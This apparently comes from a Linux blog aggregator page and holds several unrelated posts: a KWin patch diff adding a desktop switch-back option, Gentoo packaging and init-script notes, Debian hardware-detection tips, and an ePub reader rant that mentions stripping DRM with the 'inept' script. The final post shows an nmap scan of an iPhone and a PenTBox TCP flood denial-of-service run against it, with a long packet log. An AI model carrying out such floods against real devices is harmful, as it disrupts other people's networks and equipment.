With all these catches and issues, you can see why undefined symbols are a particularly nasty situation to deal with. To the best of my knowledge, there isn’t a real way to post-mortem an object to make sure that all its symbols are defined. I started writing support for that in Ruby-Elf but the results weren’t really… good. Lacking that, I’m not sure how we can proceed.

It would be possible to simply change the default to be --no-undefined, and work around with --undefined the few that require the undefined symbols to be there (we decided to proceed that way with Ruby); but given the kind of support I’ve received before in my drastic decisions, I don’t expect enough people to help me tackle that anytime soon — and I don’t have the material time to work on that, as you might guess.

Original post of Diego.
Vote for this post on Linux-Planet.

Basically, it works essentially like the same feature in xfwm4 – when you switch to a different workspace via a keyboard shortcut, and press the same shortcut again while on this workspace, it will bring you back to the previous one. So you can press ctrl-f2 to switch to from workspace 1 workspace 2, and when you press ctrl-f2 again kwin will recognize that you want switch back, to whatever workspace you were before, and will do it. An extremely handy quirk which I cannot live without anymore .

I have to assume that I have never ever coded anything for KDE until yesterday, but it turned out to be extremely simple. KDE has its flaws, its infrastructure with billions of libraries and processes everywhere is hard to understand, but I actually was surprised on how easy it was.

So, without further words, the patch for kdebase4-workspace which adds this functionality follows (sorry for the formatting, but kde has some very long lines of code..):

diff -p -up kdebase-workspace-4.5.65svn1165394/kwin/kcmkwin/kwindesktop/main.cpp.switchback kdebase-workspace-4.5.65svn1165394/kwin/kcmkwin/kwindesktop/main.cpp
--- kdebase-workspace-4.5.65svn1165394/kwin/kcmkwin/kwindesktop/main.cpp.switchback 2010-09-01 09:10:02.000000000 -0300
+++ kdebase-workspace-4.5.65svn1165394/kwin/kcmkwin/kwindesktop/main.cpp    2010-09-01 09:21:13.000000000 -0300
@@ -184,6 +184,7 @@ void KWinDesktopConfig::init()
     connect( m_ui->popupHideSpinBox, SIGNAL(valueChanged(int)), SLOT(changed()));
     connect( m_ui->desktopLayoutIndicatorCheckBox, SIGNAL(stateChanged(int)), SLOT(changed()));
     connect( m_ui->wrapAroundBox, SIGNAL(stateChanged(int)), SLOT(changed()));
+    connect( m_ui->switchBackBox, SIGNAL(stateChanged(int)), SLOT(changed()));
     connect( m_editor, SIGNAL(keyChange()), SLOT(changed()));
     connect( m_ui->allShortcutsCheckBox, SIGNAL(stateChanged(int)), SLOT(slotShowAllShortcuts()));
     connect( m_ui->effectComboBox, SIGNAL(currentIndexChanged(int)), SLOT(changed()));
@@ -252,6 +253,8 @@ void KWinDesktopConfig::defaults()

     m_ui->wrapAroundBox->setChecked( true );

+    m_ui->switchBackBox->setChecked( false );
+
     m_editor->allDefault();

     emit changed(true);
@@ -285,6 +288,9 @@ void KWinDesktopConfig::load()
     KConfigGroup windowConfig( m_config, "Windows" );
     m_ui->wrapAroundBox->setChecked( windowConfig.readEntry( "RollOverDesktops", true ) );

+    // Quick switching back to previous desktop
+    m_ui->switchBackBox->setChecked( windowConfig.readEntry( "SwitchBackDesktops", false ) );
+
     // Effect for desktop switching
     // Set current option to "none" if no plugin is activated.
     KConfigGroup effectconfig( m_config, "Plugins" );
@@ -341,6 +347,9 @@ void KWinDesktopConfig::save()
     // Wrap Around on screen edge
     KConfigGroup windowConfig( m_config, "Windows" );
     windowConfig.writeEntry( "RollOverDesktops", m_ui->wrapAroundBox->isChecked() );
+    //
+    // Quickly back to previous desktop
+    windowConfig.writeEntry( "SwitchBackDesktops", m_ui->switchBackBox->isChecked() );

     // Effect desktop switching
     KConfigGroup effectconfig( m_config, "Plugins" );
diff -p -up kdebase-workspace-4.5.65svn1165394/kwin/kcmkwin/kwindesktop/main.ui.switchback kdebase-workspace-4.5.65svn1165394/kwin/kcmkwin/kwindesktop/main.ui
--- kdebase-workspace-4.5.65svn1165394/kwin/kcmkwin/kwindesktop/main.ui.switchback  2010-09-01 09:09:59.000000000 -0300
+++ kdebase-workspace-4.5.65svn1165394/kwin/kcmkwin/kwindesktop/main.ui 2010-09-01 09:59:02.000000000 -0300
@@ -7,7 +7,7 @@
     0
     0
     572
-    310
+    334
    
   
   
@@ -141,6 +141,16 @@
          
         
        
+       
+        
+         
+          Enable this option if you want to remember and recall previous desktop when switching via keyboard shortcuts. E.g., if you switched to desktop 2 by pressing its shortcut, pressing it again while on desktop 2 will bring you back to the previous desktop.
+         
+         
+          Remember and recall previous desktop when switching via keyboard shortcuts
+         
+        
+       
        
         
          
diff -p -up kdebase-workspace-4.5.65svn1165394/kwin/kwin.kcfg.switchback kdebase-workspace-4.5.65svn1165394/kwin/kwin.kcfg
--- kdebase-workspace-4.5.65svn1165394/kwin/kwin.kcfg.switchback    2010-09-01 09:10:56.000000000 -0300
+++ kdebase-workspace-4.5.65svn1165394/kwin/kwin.kcfg   2010-09-01 09:16:20.000000000 -0300
@@ -41,6 +41,7 @@
   
   
   
+  
   
   
   
diff -p -up kdebase-workspace-4.5.65svn1165394/kwin/options.cpp.switchback kdebase-workspace-4.5.65svn1165394/kwin/options.cpp
--- kdebase-workspace-4.5.65svn1165394/kwin/options.cpp.switchback  2010-09-01 09:12:09.000000000 -0300
+++ kdebase-workspace-4.5.65svn1165394/kwin/options.cpp 2010-09-01 09:26:40.000000000 -0300
@@ -87,6 +87,8 @@ unsigned long Options::updateSettings()

     rollOverDesktops = config.readEntry("RollOverDesktops", true);

+    switchBackDesktops = config.readEntry("SwitchBackDesktops", false);
+
     legacyFullscreenSupport = config.readEntry( "LegacyFullscreenSupport", false );

 //    focusStealingPreventionLevel = config.readEntry( "FocusStealingPreventionLevel", 2 );
diff -p -up kdebase-workspace-4.5.65svn1165394/kwin/options.h.switchback kdebase-workspace-4.5.65svn1165394/kwin/options.h
--- kdebase-workspace-4.5.65svn1165394/kwin/options.h.switchback    2010-09-01 09:12:07.000000000 -0300
+++ kdebase-workspace-4.5.65svn1165394/kwin/options.h   2010-09-01 09:22:14.000000000 -0300
@@ -215,6 +215,11 @@ class Options : public KDecorationOption
          */
         bool rollOverDesktops;

+        /**
+         * whether or not quick switching back to previous desktop is allowed via keyboard shortcuts
+         */
+        bool switchBackDesktops;
+
         // 0 - 4 , see Workspace::allowClientActivation()
         int focusStealingPreventionLevel;

diff -p -up kdebase-workspace-4.5.65svn1165394/kwin/workspace.cpp.switchback kdebase-workspace-4.5.65svn1165394/kwin/workspace.cpp
--- kdebase-workspace-4.5.65svn1165394/kwin/workspace.cpp.switchback    2010-05-20 08:42:10.000000000 -0300
+++ kdebase-workspace-4.5.65svn1165394/kwin/workspace.cpp   2010-09-01 10:10:02.000000000 -0300
@@ -95,6 +95,7 @@ Workspace::Workspace( bool restore )
     , desktopGridSize_( 1, 2 ) // Default to two rows
     , desktopGrid_( new int[2] )
     , currentDesktop_( 0 )
+    , prevDesktop_( 0 )
     , desktopLayoutDynamicity_( false )
     , tilingEnabled_( false )
     // Unsorted
@@ -1403,6 +1404,15 @@ bool Workspace::setCurrentDesktop( int n
     StackingUpdatesBlocker blocker( this );

     int old_desktop = currentDesktop();
+
+    // Eugeni: are we trying to switch back to previous desktop?
+    if (options->switchBackDesktops && (old_desktop == new_desktop ) && (prevDesktop() > 0) )
+        {
+        // go back to previous desktop
+        new_desktop = prevDesktop();
+        kDebug(1212) << "Switching back to " << new_desktop;
+        }
+
     if (new_desktop != currentDesktop() )
         {
         ++block_showing_desktop;
@@ -1413,6 +1423,7 @@ bool Workspace::setCurrentDesktop( int n
         ObscuringWindows obs_wins;

         currentDesktop_ = new_desktop; // Change the desktop (so that Client::updateVisibility() works)
+        prevDesktop_ = old_desktop;

         for( ClientList::ConstIterator it = stacking_order.constBegin();
             it != stacking_order.constEnd();
diff -p -up kdebase-workspace-4.5.65svn1165394/kwin/workspace.h.switchback kdebase-workspace-4.5.65svn1165394/kwin/workspace.h
--- kdebase-workspace-4.5.65svn1165394/kwin/workspace.h.switchback  2010-08-11 07:08:13.000000000 -0300
+++ kdebase-workspace-4.5.65svn1165394/kwin/workspace.h 2010-08-31 23:34:01.000000000 -0300
@@ -245,6 +245,10 @@ class Workspace : public QObject, public
          */
         int currentDesktop() const;
         /**
+         * @returns The ID of the previous desktop.
+         */
+        int prevDesktop() const;
+        /**
          * Set the current desktop to @a current.
          * @returns True on success, false otherwise.
          */
@@ -314,6 +318,7 @@ class Workspace : public QObject, public
         QSize desktopGridSize_;
         int* desktopGrid_;
         int currentDesktop_;
+        int prevDesktop_;
         QString activity_;
         bool desktopLayoutDynamicity_;

@@ -1142,6 +1147,11 @@ inline int Workspace::currentDesktop() c
     return currentDesktop_;
     }

+inline int Workspace::prevDesktop() const
+    {
+    return prevDesktop_;
+    }
+
 inline int Workspace::desktopAtCoords( QPoint coords ) const
     {
     return desktopGrid_[coords.y() * desktopGridSize_.width() + coords.x()];

Original post of eugeni.
Vote for this post on Linux-Planet.

Well, at the time my domain wasn’t “flameeyes.eu”, which I only bought two years ago but rather the more tongue-in-cheek Farragut.Flameeyes.Is-A-Geek.org where Farragut was the name of the box (which was contributed by Christoph Brill and served Gentoo/FreeBSD as main testing and stagebuilding box until PSU/MB gave up).

At any rate, I’ve been keeping the hostname, hoping one day to be able to totally phase it out and get rid of it; this because while at the start it was easy to keep it updated, DynDNS has been pressing more and more for free users to register for the “pro” version. Up to now, I’ve been just refreshing it whenever it was on the verge of expiring, but.. since the latest changes will not allow me to properly re-register the same hostname if it failed, and a lot of websites still link to my old addresses, I decided to avoid problems and scams, and I registered the hostname with DynDNS Pro, for two years, which means it won’t risk expiration.

Given that situation, I decided to change the Apache (and AWStats) configuration so that the old URLs for the blog and the site won’t redirect straight to the new sites, but rather accept the request and show the page normally. Obviously, I’d still prefer if the new canonical name is used. Hopefully, at some point in time, browsers and other software will support the extended metadata provided by OpenGraph which not only breaks down the title in site and page title (rather than the current mess of different separators between the two in the http://blog.flameeyes.eu/2010/08/31/two-magic-words-merged-upstream2010-08-31T15:58:55+00:00enDiegoThe lives of distributions packagers are full of words that make them cringe – backport, regression, hotfix, custom patch, … – but there are two that can make your day truly shine: merged upstream.

When you’re maintaining a package for any kind of software, you have to mediate between the original upstream intentions and requests, and the distribution policy; in Gentoo, that policy includes respecting the user-chosen flags, especially since some of those are mandated by us and are needed to make sure that the software installed on the users’ systems is actually working as intended, but that’s just one of a long list of things you have to care about.

Most of the time, because of this, you have to end up patching the software itself: modifying the code so that it behaves like the distribution wants, even if that diverges from upstream behaviour, or in the best of cases, making it abide to both restrictions. Sometimes, you have to take a fix that has been already applied to the upstream repository, for instance in a development branch, and apply to the currently packaged version (backport). The least boring case is when users report a problem to you, that might or might not apply to other distributions, and you have to fix it anew.

When that’s the case, Gentoo’s guideline is to write patches so that they can be sent upstream (I also wrote about that — and I’m tempted to just re-publish my articles on my website rather than keep them there, especially given that the page is more broken each time I visit it). Unfortunately, some upstream are more difficult to work than others, plus sometimes the patches are really too Gentoo-specific that they make no sense to be sent upstream (for instance the S/Key patch for sudo, as it’s to support the Gentoo-specific port of OpenBSD’s S/Key support).

Now, as part of the Ruby team I’ve already written over and over about our need to patch a huge number of gems and other Ruby libraries, a lot of times simply to fix their Rakefile, less often to fix their tests… and in very rare occasions to hack or unhack the packages. Thankfully, these patches tend to be merged in quite quickly — I’m still not sure whether that’s due to the use of GitHub and of merge requests, or because releasing a Ruby gem is so quick and easy (which is a definite pro of RubyGems even for us packagers).

With other kind of software, the merge-and-release approach is not that common, but luckily there are exceptions; Robin Gareus has been terrific at merging my patches for liboauth and release a new version, which means that while I added it to the tree with three patches to be applied, you can get it now with no patch at all: vanilla 0.8.9!

Less quick to release, but that’s understandable considering the criticality of it, has been Linux-PAM; the newly released version, 1.1.2, which I added to the tree today, comes back to two patches, against the previous six of 1.1.1-r2. The remaining two are a bit tricky; one is something I’m keeping around since the 0.99 series, so a very long time ago, and is just a simple way for us to not build a bunch of test programs that we wouldn’t be using anyway; the other is a fix for the Berkeley DB detection in configure to work with the libraries are installed in Gentoo (with the prefix on the library name, but no prefix on the ELF symbols; we use versioning instead to avoid collisions between them). I’m now trying to find a compromise with Thorsten Kukuk (my upstream Linux-PAM contact) so that the patches can be applied, and we can stop patching it altogether.

Being able to ship packages that are not patched at all is important for many reasons, and at least one applies even to people who don’t use that package at all. Obviously, staying closer to upstream’s code is a positive thing because it means that you don’t risk that upstream counts your users out of support range (well, they can still do that if you are using non-default build options, but in general, it’s much easier for them to help you out if you don’t touch their code), but sending your own fixes to the original developers has another important result: the same fix is available to all the users of the program, not just those using your particular distribution. And finally, even people not using it will have a positive result, as long as they use Gentoo: less patch files in the tree means less files, and less overhead — and trust me, there is lots of overhead in the tree as it is right now, not sure if worse or better than what we had at the time I originally wrote that rundown, but it certainly needs some kind of proper solutions to be devised.

So I’m happy to thank for their merges Robin (liboauth), Thorsten (Linux-PAM), Karel (util-linux-ng), Cole (virt-inst), Thibault (fcron), Ludovic (ccid), … — the list goes a lot further, they are just the most recent upstreams I’ve exchanged email with!

On a side note; yes I picked up co-maintainership of bti with Greg; the reason is that I’ve been using it to dent the tinderbox results. I’ve also branched it upstream to cleanup a few things in the build system, and to implement one feature I’d very much like to use (--background); those fixes will come straight on 028 release, though, as they are not critical.

Original post of Diego.
Vote for this post on Linux-Planet.

Now, you can use dash already for the basic init scripts provided by OpenRC and Baselayout, but all the packages need to install proper Posix SH-compatible init scripts if you want to use it with them. Thankfully a number of users seem to care about that, such as Davide last year and Kai right now.

But POSIX compatibility is not the only thing we should actually look out for in our init scripts:

• Eray pointed out that some scripts don’t re-create their /var/run subdirectories which is indeed a problem that should go fixed at some point; I had similar bad issues with running my own router based on Gentoo;
• one too often misused parameter of start-stop-daemon is --quiet which can be… way too quiet; if it’s passed, you’re not going to receive any output at all if the daemon you’ve tried to start fails; and that is a problem;
• there are problems with the way the system-services PAM chain is passed through so that limits are not respected (and if that’s the case, caps wouldn’t be respected coming from PAM either);
• the way LXC works, init scripts looking just at the process’s name could cause a guest’s daemon to stop if the host’s is closed… this is mostly exercised by killall but also start-stop-daemon when not given a pidfile (and rather just an executable) will have the same problem; and the same goes for pkill, goes without saying.

These are a number of polishing tasks that are by all count minors and not excessively important but… if you’ve free time and care about Gentoo on LXC, embedded or with fast startup, you might want to look into those. Just saying!

Original post of Diego.
Vote for this post on Linux-Planet.

To install it :

root@localhost:~# apt-get install discover

It will install the following extra packages : discover-data libdiscover2

To use it, run the command /sbin/discover as root or with an user having sufficient privileges.
To get a summary of the devices found on the different buses :

root@localhost:~# discover -b

To make a search by device type :

root@localhost:~# discover -t network
Realtek Semiconductor Co., Ltd. RTL-8110SC/8169SC Gigabit Ethernet

More information : man discover
http://packages.debian.org/lenny/discover

Original post of Linuxindetails.
Vote for this post on Linux-Planet.

The file access permissions do not allow the specified action 0403-005 Cannot create the specified file

What does it mean?

Redirection is some kind of built-in features of your current running shell. (bash or ksh). When you issue a command with sudo, the built-in fonctions can not work within the child process.  To overcome this issue, the only workaround is to launch your command within a subshell :

sudo sh -c ‘your command > file.out’

Original post of Linuxindetails.
Vote for this post on Linux-Planet.

The nice thing about standards is that you have so many to choose from.

The quote from Tanenbaum is a classic, something that most developers at some point in their career will have to face. But I’d like to expand on that; taking into consideration Open Standards as well. Most Free Software developers (and, argh, advocates!) will agree that Open Standards are a very good thing; make sure that they are fully documented, and let people develop royalty-free implementations, and you got a win.

Or do you? As the title of this post let you know, there is one further problem, with the standards to choose from: their implementation. I’ve already delved into a number of problems related to standards and their implementation; for instance the KWord vs OpenOffice problem, with the two using (at the time they started boasting OpenDocument support) two completely different, non-interoperable methods to define bullet-lists. And again with the inconsistent SVG implementations that cause the same file to appear in vastly different ways, without even an error reported, with multiple software.

And eBooks are nothing different either; let’s leave alone the problem with formatting them (for instance, O’Reilly books are easily readable, but are actually formatting “randomly” for me, compared to others; or The Dragon Reborn which probably underwent an OCR pass, given that Thom sometimes became Torn). I’ve already ranted about DTBook ebooks but this time I’m seriously pissed.

Let me explain again the whole DTBook problem first, because it provides a basic context for the trouble that follows right now. I have a PRS-505 Sony Reader; when I bought it, it only supported PDFs (sort-of) and Sony’s own BBeB/LRF format. Thankfully, Sony updated the firmware to add support for the ePub format, which is supposedly an open standard and should have a number of working implementations, on various operating systems and hardware devices. Apple’s iPad among others is supposed to read ePub files. So what’s the catch?

Well, first of all, since I called in Apple’s iPad, there is the problem of DRM; ePub by itself does not really define a DRM scheme; O’Reilly does not use any DRM in their electronic media (bless them), and Apple does not support DRM-locked ePub files either (and as far as I know they provide no DRM for their files either, but I don’t have a device to test it myself). On the other hand, most online bookstores, and the devices such as the Sony Reader or Kobo’s eReader, support Adobe’s DRM scheme, technically called ADEPT, but marketed as “Adobe Digital Editions”. Of course, as far as I know at least, there is no open source software that can deal with ADEPT-locked files, although there is code out there that allows you to unlock the files once you fetch your personal encryption key out of an enabled system.

Okay, let’s leave DRM out now, and speak about the format itself; ePub files are ZIP files, not tremendously different from an OpenDocument file.. it actually comes with the same META-INF directory and mimetype file. Within that, you have a series of XML files, with the metadata of the book, the Table of Contents, a filename for the cover file, and the list of files with the actual book’s content. A note here: at least The Dragon Reborn seems to be a corrupted ZIP files for both unzip and the inept script, but is read fine by the Reader Library, and by the the Reader itself.

The content files can be of different formats; the most common case is (X)HTML; which as you might expect is the easiest to support, given the wide range of software rendering HTML out there. But a different format, called DTBook, was designed to support text-to-speech reading of audiobooks. Files can easily be called ePub, even though the actual content is in DTBook, and not supported by most devices and software; neither the Reader nor Calibre support that format, and can’t thus read the copy I bought of The Salmon of Doubt (sigh!).

Something even stranger happened when I bought (with a $2 discount, as this time it worked) Sourcery by Terry Pratchett … I started the series a year or two ago, but rather than getting the books, at the time I got the audiobooks version to get some sleep (I’m still doing the same thing, over an year and a half later… whenever I don’t have my iPod on during the night, I wake up feeling worse than when I went to sleep, because of bad nightmares…).. Sourcery is the only one that I haven’t been able to listen in its entirety since I started (well, I also didn’t listen to Mort and rather read it as eBook already). Unfortunately the downloaded ePub, even though not resulting corrupt for what unzip is concerned, cannot be viewed on the Reader, just like the DTBook version it reports a “Page error”, shows no Table of Content, lists a start and end page of 1.

After un-locking the file with inept; I could load it on Calibre and.. it actually reads fine. So the file is a valid ePub book, why on earth would the Reader not read it at all? Not something I can answer without having access to the sources obviously. Luckily, at least this time I can read my book, since Calibre could process it and create a new ePub copy that the Reader actually seem to load and read.

Alas. I really have nothing else I could possibly say.

Original post of Diego.
Vote for this post on Linux-Planet.

in this case i use pentbox for pentest tools and iphone for victim

root@bsd:~# nmap -v -sS -O 192.168.182.228
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-08-29 14:32 WIT
Initiating ARP Ping Scan at 14:32
Scanning 192.168.182.228 [1 port]
Completed ARP Ping Scan at 14:32, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:32
Completed Parallel DNS resolution of 1 host. at 14:32, 0.27s elapsed
Initiating SYN Stealth Scan at 14:32
Scanning 192.168.182.228 [1000 ports]
Increasing send delay for 192.168.182.228 from 0 to 5 due to 31 out of 102 dropp
ed probes since last increase.
Discovered open port 62078/tcp on 192.168.182.228
Completed SYN Stealth Scan at 14:32, 10.26s elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.182.228
Nmap scan report for 192.168.182.228
Host is up (0.024s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
62078/tcp open iphone-sync
MAC Address: 90:27:E4:7E:1D:13 (Apple)
Device type: phone|media device
Running: Apple iPhone OS 3.X
OS details: Apple iPhone mobile phone or iPod touch media player (iPhone OS 3.0 – 3.2, Darwin 10.0.0d3)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Randomized

Read data files from: /usr/share/nmap
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds
Raw packets sent: 1186 (52.946KB) | Rcvd: 1104 (44.562KB)

root@bsd:/pentest/pentbox# ruby pentbox.rb

{ PenTBox 1.3.2 }
| .__.
\ (oo)____
(__) )–*
||–||

Born 2 Hack.

————- Menu

1- Cryptography tools

2- Network tools

3- Extra

4- License and contact

-> 2

1- TCP Flood DoSer
2- TCP Flood AutoDoSer
3- Spoofed SYN Flood DoSer [nmap - hping3]
4- Port scanner
5- Honeypot
6- PenTBox Secure Instant Messaging
7- Fuzzer

-> 1
————-

// TCP Flood DoSer //

Insert host to DoS.

-> 192.168.182.228

Insert port to DoS.

-> 62078

———–
wait a minute

log :

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8096 – 506 kB/s
Number of sent packets -> 1235846

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8450 – 528 kB/s
Number of sent packets -> 1244296

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8138 – 508 kB/s
Number of sent packets -> 1252436

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8436 – 527 kB/s
Number of sent packets -> 1260872

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8204 – 512 kB/s
Number of sent packets -> 1269076

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8188 – 511 kB/s
Number of sent packets -> 1277268

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8240 – 515 kB/s
Number of sent packets -> 1285514

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8228 – 514 kB/s
Number of sent packets -> 1293742

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8254 – 515 kB/s
Number of sent packets -> 1301996

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8430 – 527 kB/s
Number of sent packets -> 1310428

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8350 – 521 kB/s
Number of sent packets -> 1318778

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8362 – 522 kB/s
Number of sent packets -> 1327140

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8250 – 515 kB/s
Number of sent packets -> 1335390

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8420 – 526 kB/s
Number of sent packets -> 1343810

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8538 – 533 kB/s
Number of sent packets -> 1352348

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8316 – 519 kB/s
Number of sent packets -> 1360664

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8410 – 525 kB/s
Number of sent packets -> 1369076

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8458 – 528 kB/s
Number of sent packets -> 1377536

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8282 – 517 kB/s
Number of sent packets -> 1385820

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8454 – 528 kB/s
Number of sent packets -> 1394274

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8336 – 521 kB/s
Number of sent packets -> 1402612

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8394 – 524 kB/s
Number of sent packets -> 1411008

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8534 – 533 kB/s
Number of sent packets -> 1419544

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8352 – 522 kB/s
Number of sent packets -> 1427902

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8360 – 522 kB/s
Number of sent packets -> 1436264

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8606 – 537 kB/s
Number of sent packets -> 1444870

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8474 – 529 kB/s
Number of sent packets -> 1453346

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8470 – 529 kB/s
Number of sent packets -> 1461816

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8396 – 524 kB/s
Number of sent packets -> 1470212

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8522 – 532 kB/s
Number of sent packets -> 1478736

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8468 – 529 kB/s
Number of sent packets -> 1487204

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8406 – 525 kB/s
Number of sent packets -> 1495612

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8450 – 528 kB/s
Number of sent packets -> 1504062

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8492 – 530 kB/s
Number of sent packets -> 1512554

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8390 – 524 kB/s
Number of sent packets -> 1520946

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8424 – 526 kB/s
Number of sent packets -> 1529372

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8408 – 525 kB/s
Number of sent packets -> 1537780

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8442 – 527 kB/s
Number of sent packets -> 1546224

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8394 – 524 kB/s
Number of sent packets -> 1554620

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8446 – 528 kB/s
Number of sent packets -> 1563070

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8412 – 525 kB/s
Number of sent packets -> 1571482

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8234 – 514 kB/s
Number of sent packets -> 1579716

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8148 – 509 kB/s
Number of sent packets -> 1587864

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8234 – 514 kB/s
Number of sent packets -> 1596098

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8138 – 508 kB/s
Number of sent packets -> 1604236

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 7982 – 498 kB/s
Number of sent packets -> 1612218

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8272 – 517 kB/s
Number of sent packets -> 1620494

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8424 – 526 kB/s
Number of sent packets -> 1628924

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8178 – 511 kB/s
Number of sent packets -> 1637102

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8290 – 518 kB/s
Number of sent packets -> 1645394

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8184 – 511 kB/s
Number of sent packets -> 1653580

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8302 – 518 kB/s
Number of sent packets -> 1661882

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8266 – 516 kB/s
Number of sent packets -> 1670148

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8244 – 515 kB/s
Number of sent packets -> 1678394

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8382 – 523 kB/s
Number of sent packets -> 1686776

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8274 – 517 kB/s
Number of sent packets -> 1695050

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8338 – 521 kB/s
Number of sent packets -> 1703390

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8318 – 519 kB/s
Number of sent packets -> 1711708

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8246 – 515 kB/s
Number of sent packets -> 1719954

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8230 – 514 kB/s
Number of sent packets -> 1728184

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8422 – 526 kB/s
Number of sent packets -> 1736606

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8468 – 529 kB/s
Number of sent packets -> 1745074

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8578 – 536 kB/s
Number of sent packets -> 1753652

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8110 – 506 kB/s
Number of sent packets -> 1761762

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8110 – 506 kB/s
Number of sent packets -> 1769872

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8384 – 524 kB/s
Number of sent packets -> 1778256

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8430 – 526 kB/s
Number of sent packets -> 1786686

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8402 – 525 kB/s
Number of sent packets -> 1795088

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8244 – 515 kB/s
Number of sent packets -> 1803334

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8292 – 518 kB/s
Number of sent packets -> 1811626

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8096 – 506 kB/s
Number of sent packets -> 1819726

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8214 – 513 kB/s
Number of sent packets -> 1827942

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8232 – 514 kB/s
Number of sent packets -> 1836174

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8152 – 509 kB/s
Number of sent packets -> 1844326

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8092 – 506 kB/s
Number of sent packets -> 1852422

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8332 – 520 kB/s
Number of sent packets -> 1860754

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8358 – 522 kB/s
Number of sent packets -> 1869114

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8182 – 511 kB/s
Number of sent packets -> 1877296

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8142 – 509 kB/s
Number of sent packets -> 1885442

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8156 – 509 kB/s
Number of sent packets -> 1893598

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8200 – 512 kB/s
Number of sent packets -> 1901798

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8008 – 500 kB/s
Number of sent packets -> 1909808

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 7990 – 499 kB/s
Number of sent packets -> 1917798

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8348 – 521 kB/s
Number of sent packets -> 1926146

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8184 – 511 kB/s
Number of sent packets -> 1934330

———–

DoSing 192.168.182.228 on port 62078

